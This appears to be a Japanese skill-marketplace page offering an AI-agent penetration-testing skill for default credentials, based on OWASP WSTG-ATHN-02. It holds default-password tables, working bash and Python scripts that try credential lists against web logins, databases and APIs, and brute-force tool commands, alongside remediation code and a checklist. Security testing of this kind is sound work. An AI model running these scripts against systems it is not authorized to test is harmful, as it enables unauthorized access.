ワンクリックで
wstg-athn-02
Testing for Default Credentials
Codex または Claude でインストール この Prompt をコピーして Codex、Claude、または他のアシスタントに貼り付けると、Skill ページを確認してインストールできます。
メニュー
Testing for Default Credentials
Codex または Claude でインストール この Prompt をコピーして Codex、Claude、または他のアシスタントに貼り付けると、Skill ページを確認してインストールできます。
SOC 職業分類に基づく
eBPF-based post-exploitation for kernel-level credential harvesting, process hiding, and traffic interception on Linux
AWS post-exploitation for IAM privilege escalation, data exfiltration, persistence, and operational security via boto3
Azure/Entra ID post-exploitation for tenant compromise, Key Vault extraction, managed identity abuse, and token manipulation
CI/CD pipeline attacks for secret extraction, pipeline injection, and supply chain compromise via GitHub/Jenkins/GitLab
Kubernetes post-exploitation for container escape, secret extraction, RBAC abuse, and cluster persistence
macOS post-exploitation for credential harvesting, DTrace monitoring, TCC bypass, and stealth operations via native tools
| name | wstg-athn-02 |
| description | Testing for Default Credentials |
| category | authentication |
| owasp_id | WSTG-ATHN-02 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["authentication","login","credentials","mfa","wstg","athn"] |
| tech_stack | [] |
| cwe_ids | ["CWE-640"] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
WSTG-ATHN-02
Testing for Default Credentials
Many applications, devices, and services ship with default or well-known credentials that administrators often forget to change. Attackers can easily find these credentials through documentation, online databases, or simple guessing. This test identifies systems using default credentials that could allow unauthorized access.
| Application | Username | Password |
|---|---|---|
| Tomcat | admin, tomcat | admin, tomcat, s3cret |
| Jenkins | admin | admin (or no password) |
| WordPress | admin | admin |
| Joomla | admin | admin |
| MySQL | root | (empty), root, mysql |
| PostgreSQL | postgres | postgres |
| MongoDB | admin | (no auth by default) |
| Redis | - | (no auth by default) |
| Elasticsearch | elastic | changeme |
# Fingerprint the application
curl -sI "https://target.com" | grep -i "server\|x-powered-by"
# Check common paths for admin panels
paths=(
"/admin"
"/administrator"
"/wp-admin"
"/manager"
"/phpmyadmin"
"/console"
"/login"
)
for path in "${paths[@]}"; do
status=$(curl -s -o /dev/null -w "%{http_code}" "https://target.com$path")
if [ "$status" != "404" ]; then
echo "$path: $status"
fi
done
#!/bin/bash
TARGET=$1
LOGIN_ENDPOINT=${2:-"/login"}
# Common default credential pairs
declare -A credentials=(
["admin"]="admin password admin123 123456 administrator"
["root"]="root toor password 123456"
["user"]="user password user123"
["test"]="test test123 password"
["guest"]="guest guest123"
["administrator"]="administrator admin Admin123"
)
echo "Testing default credentials on $TARGET$LOGIN_ENDPOINT"
for username in "${!credentials[@]}"; do
for password in ${credentials[$username]}; do
response=$(curl -s -X POST "$TARGET$LOGIN_ENDPOINT" \
-H "Content-Type: application/json" \
-d "{\"username\":\"$username\",\"password\":\"$password\"}" \
-w "\n%{http_code}")
status=$(echo "$response" | tail -1)
body=$(echo "$response" | head -n -1)
# Check for success indicators
if [ "$status" == "200" ] && ! echo "$body" | grep -qi "invalid\|error\|fail"; then
echo "[SUCCESS] $username:$password"
fi
done
done
# Tomcat Manager
curl -u admin:admin "https://target.com/manager/html" -s -o /dev/null -w "%{http_code}"
curl -u tomcat:tomcat "https://target.com/manager/html" -s -o /dev/null -w "%{http_code}"
curl -u admin:s3cret "https://target.com/manager/html" -s -o /dev/null -w "%{http_code}"
# Jenkins
curl -u admin:admin "https://target.com/jenkins/" -s -o /dev/null -w "%{http_code}"
# WordPress
curl -X POST "https://target.com/wp-login.php" \
-d "log=admin&pwd=admin&wp-submit=Log+In" \
-s -o /dev/null -w "%{http_code}"
# phpMyAdmin
curl -X POST "https://target.com/phpmyadmin/" \
-d "pma_username=root&pma_password=&server=1" \
-s -o /dev/null -w "%{http_code}"
# MySQL
mysql -h target.com -u root -p'' -e "SELECT 1" 2>/dev/null && echo "MySQL: root with empty password"
mysql -h target.com -u root -proot -e "SELECT 1" 2>/dev/null && echo "MySQL: root:root"
# PostgreSQL
PGPASSWORD=postgres psql -h target.com -U postgres -c "SELECT 1" 2>/dev/null && echo "PostgreSQL: postgres:postgres"
# MongoDB (no auth)
mongosh "mongodb://target.com:27017" --eval "db.adminCommand('listDatabases')" 2>/dev/null && echo "MongoDB: No auth required"
# Redis (no auth)
redis-cli -h target.com PING 2>/dev/null && echo "Redis: No auth required"
# Test common API keys/tokens
tokens=(
"admin"
"test"
"api_key"
"secret"
"12345"
"default"
)
for token in "${tokens[@]}"; do
response=$(curl -s -H "Authorization: Bearer $token" \
"https://target.com/api/v1/user" \
-w "\n%{http_code}")
status=$(echo "$response" | tail -1)
if [ "$status" == "200" ]; then
echo "[VULN] API accepts token: $token"
fi
# Also try as API key
response=$(curl -s -H "X-API-Key: $token" \
"https://target.com/api/v1/user" \
-w "\n%{http_code}")
status=$(echo "$response" | tail -1)
if [ "$status" == "200" ]; then
echo "[VULN] API accepts X-API-Key: $token"
fi
done
# Use online databases
# https://cirt.net/passwords
# https://github.com/danielmiessler/SecLists/tree/master/Passwords/Default-Credentials
# Example: Cisco devices
curl -u admin:admin "https://target.com/admin" -s -o /dev/null -w "%{http_code}"
curl -u cisco:cisco "https://target.com/admin" -s -o /dev/null -w "%{http_code}"
# Example: Network devices
curl -u admin:1234 "https://target.com" -s -o /dev/null -w "%{http_code}"
curl -u admin:password "https://target.com" -s -o /dev/null -w "%{http_code}"
| Tool | Description | Usage |
|---|---|---|
| Hydra | Password cracker | hydra -L users.txt -P pass.txt target http-post |
| Medusa | Parallel brute-forcer | medusa -h target -U users.txt -P pass.txt -M http |
| Ncrack | Network auth cracker | ncrack target -U users.txt -P pass.txt |
| Resource | Description |
|---|---|
| SecLists | Default credentials lists |
| CIRT.net | Default password database |
| DefaultCreds | Default credential repository |
#!/usr/bin/env python3
import requests
import json
class DefaultCredsTester:
# Comprehensive default credentials database
DEFAULT_CREDS = {
"generic": [
("admin", "admin"),
("admin", "password"),
("admin", "123456"),
("admin", "admin123"),
("administrator", "administrator"),
("root", "root"),
("root", "toor"),
("user", "user"),
("test", "test"),
("guest", "guest"),
],
"tomcat": [
("admin", "admin"),
("tomcat", "tomcat"),
("admin", "s3cret"),
("manager", "manager"),
("role1", "role1"),
],
"jenkins": [
("admin", "admin"),
("admin", "password"),
("admin", ""),
],
"wordpress": [
("admin", "admin"),
("admin", "password"),
("admin", "wp-admin"),
],
"joomla": [
("admin", "admin"),
("admin", "password"),
],
"mysql": [
("root", ""),
("root", "root"),
("root", "mysql"),
("root", "password"),
],
"postgresql": [
("postgres", "postgres"),
("postgres", "password"),
],
"mongodb": [
("admin", "admin"),
("root", "root"),
],
}
def __init__(self, target_url):
self.target = target_url
self.session = requests.Session()
self.results = []
def test_http_basic(self, path, creds):
"""Test HTTP Basic authentication"""
for username, password in creds:
try:
response = self.session.get(
f"{self.target}{path}",
auth=(username, password),
timeout=10
)
if response.status_code == 200:
self.results.append({
"type": "HTTP Basic",
"path": path,
"username": username,
"password": password,
"status": "SUCCESS"
})
return True
except requests.exceptions.RequestException:
pass
return False
def test_form_login(self, path, creds, username_field="username", password_field="password"):
"""Test form-based login"""
for username, password in creds:
try:
response = self.session.post(
f"{self.target}{path}",
data={
username_field: username,
password_field: password
},
allow_redirects=False,
timeout=10
)
# Check for success indicators
if response.status_code in [200, 302]:
# Check if login succeeded
if "dashboard" in response.headers.get("Location", "").lower() or \
"invalid" not in response.text.lower():
self.results.append({
"type": "Form Login",
"path": path,
"username": username,
"password": password,
"status": "POSSIBLE SUCCESS"
})
except requests.exceptions.RequestException:
pass
def test_json_login(self, path, creds):
"""Test JSON API login"""
for username, password in creds:
try:
response = self.session.post(
f"{self.target}{path}",
json={"username": username, "password": password},
timeout=10
)
if response.status_code == 200:
try:
data = response.json()
if "token" in data or "success" in data:
self.results.append({
"type": "API Login",
"path": path,
"username": username,
"password": password,
"status": "SUCCESS"
})
except:
pass
except requests.exceptions.RequestException:
pass
def run_tests(self):
"""Run all default credential tests"""
print(f"Testing default credentials on {self.target}")
# Test common paths
paths = {
"/manager/html": ("tomcat", "HTTP Basic"),
"/admin": ("generic", "Form"),
"/login": ("generic", "Form"),
"/api/login": ("generic", "JSON"),
"/wp-login.php": ("wordpress", "Form"),
"/administrator": ("joomla", "Form"),
}
for path, (cred_type, auth_type) in paths.items():
creds = self.DEFAULT_CREDS.get(cred_type, self.DEFAULT_CREDS["generic"])
print(f"Testing {path} ({auth_type})...")
if auth_type == "HTTP Basic":
self.test_http_basic(path, creds)
elif auth_type == "Form":
self.test_form_login(path, creds)
elif auth_type == "JSON":
self.test_json_login(path, creds)
return self.results
def print_results(self):
"""Print test results"""
print("\n=== DEFAULT CREDENTIALS TEST RESULTS ===\n")
if self.results:
print("[!] POTENTIAL VULNERABILITIES FOUND:\n")
for result in self.results:
print(f" Type: {result['type']}")
print(f" Path: {result['path']}")
print(f" Credentials: {result['username']}:{result['password']}")
print(f" Status: {result['status']}")
print()
else:
print("[+] No default credentials found")
# Usage
tester = DefaultCredsTester("https://target.com")
tester.run_tests()
tester.print_results()
from flask import redirect, url_for, session
@app.before_request
def check_password_change():
if current_user.is_authenticated:
if current_user.must_change_password:
if request.endpoint not in ['change_password', 'logout', 'static']:
return redirect(url_for('change_password'))
@app.route('/change-password', methods=['GET', 'POST'])
@login_required
def change_password():
if request.method == 'POST':
new_password = request.form['new_password']
# Validate password strength
if not is_strong_password(new_password):
flash('Password does not meet requirements')
return render_template('change_password.html')
# Check it's not the default password
if new_password in DEFAULT_PASSWORDS:
flash('Cannot use a common default password')
return render_template('change_password.html')
current_user.set_password(new_password)
current_user.must_change_password = False
db.session.commit()
return redirect(url_for('dashboard'))
return render_template('change_password.html')
-- Remove default accounts from database
DELETE FROM users WHERE username IN ('admin', 'test', 'guest', 'demo');
-- Or disable them
UPDATE users SET active = false WHERE username IN ('admin', 'test', 'guest');
DEFAULT_PASSWORDS = {
'admin', 'password', '123456', 'admin123',
'root', 'toor', 'test', 'guest'
}
def check_default_password(password):
"""Check if password is a known default"""
return password.lower() in DEFAULT_PASSWORDS
@app.route('/login', methods=['POST'])
def login():
username = request.form['username']
password = request.form['password']
user = User.query.filter_by(username=username).first()
if user and user.check_password(password):
if check_default_password(password):
# Log security event
log_security_event('default_password_login', username)
# Force password change
session['must_change_password'] = True
login_user(user)
return redirect(url_for('dashboard'))
return 'Invalid credentials', 401
## Post-Installation Security Checklist
1. [ ] Change all default passwords
2. [ ] Remove or disable default accounts
3. [ ] Disable installation/setup pages
4. [ ] Remove default API keys/tokens
5. [ ] Change database default credentials
6. [ ] Update default encryption keys
7. [ ] Review and change default configurations
8. [ ] Remove sample/demo content
9. [ ] Disable debug modes
10. [ ] Enable logging and monitoring
| Finding | CVSS | Severity |
|---|---|---|
| Admin access with default credentials | 9.8 | Critical |
| Database with default/no password | 9.8 | Critical |
| Application default account active | 8.8 | High |
| Default API key accepted | 8.8 | High |
Attack Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
| CWE ID | Title | Description |
|---|---|---|
| CWE-1392 | Use of Default Credentials | Default username/password |
| CWE-798 | Use of Hard-coded Credentials | Embedded credentials |
| CWE-287 | Improper Authentication | Authentication bypass |
[ ] Application technology identified
[ ] Admin panel locations found
[ ] Generic default credentials tested
[ ] Technology-specific defaults tested
[ ] Database default credentials tested
[ ] API default tokens tested
[ ] Third-party component defaults tested
[ ] Vendor documentation reviewed
[ ] Online credential databases checked
[ ] All findings documented
[ ] Remediation recommendations provided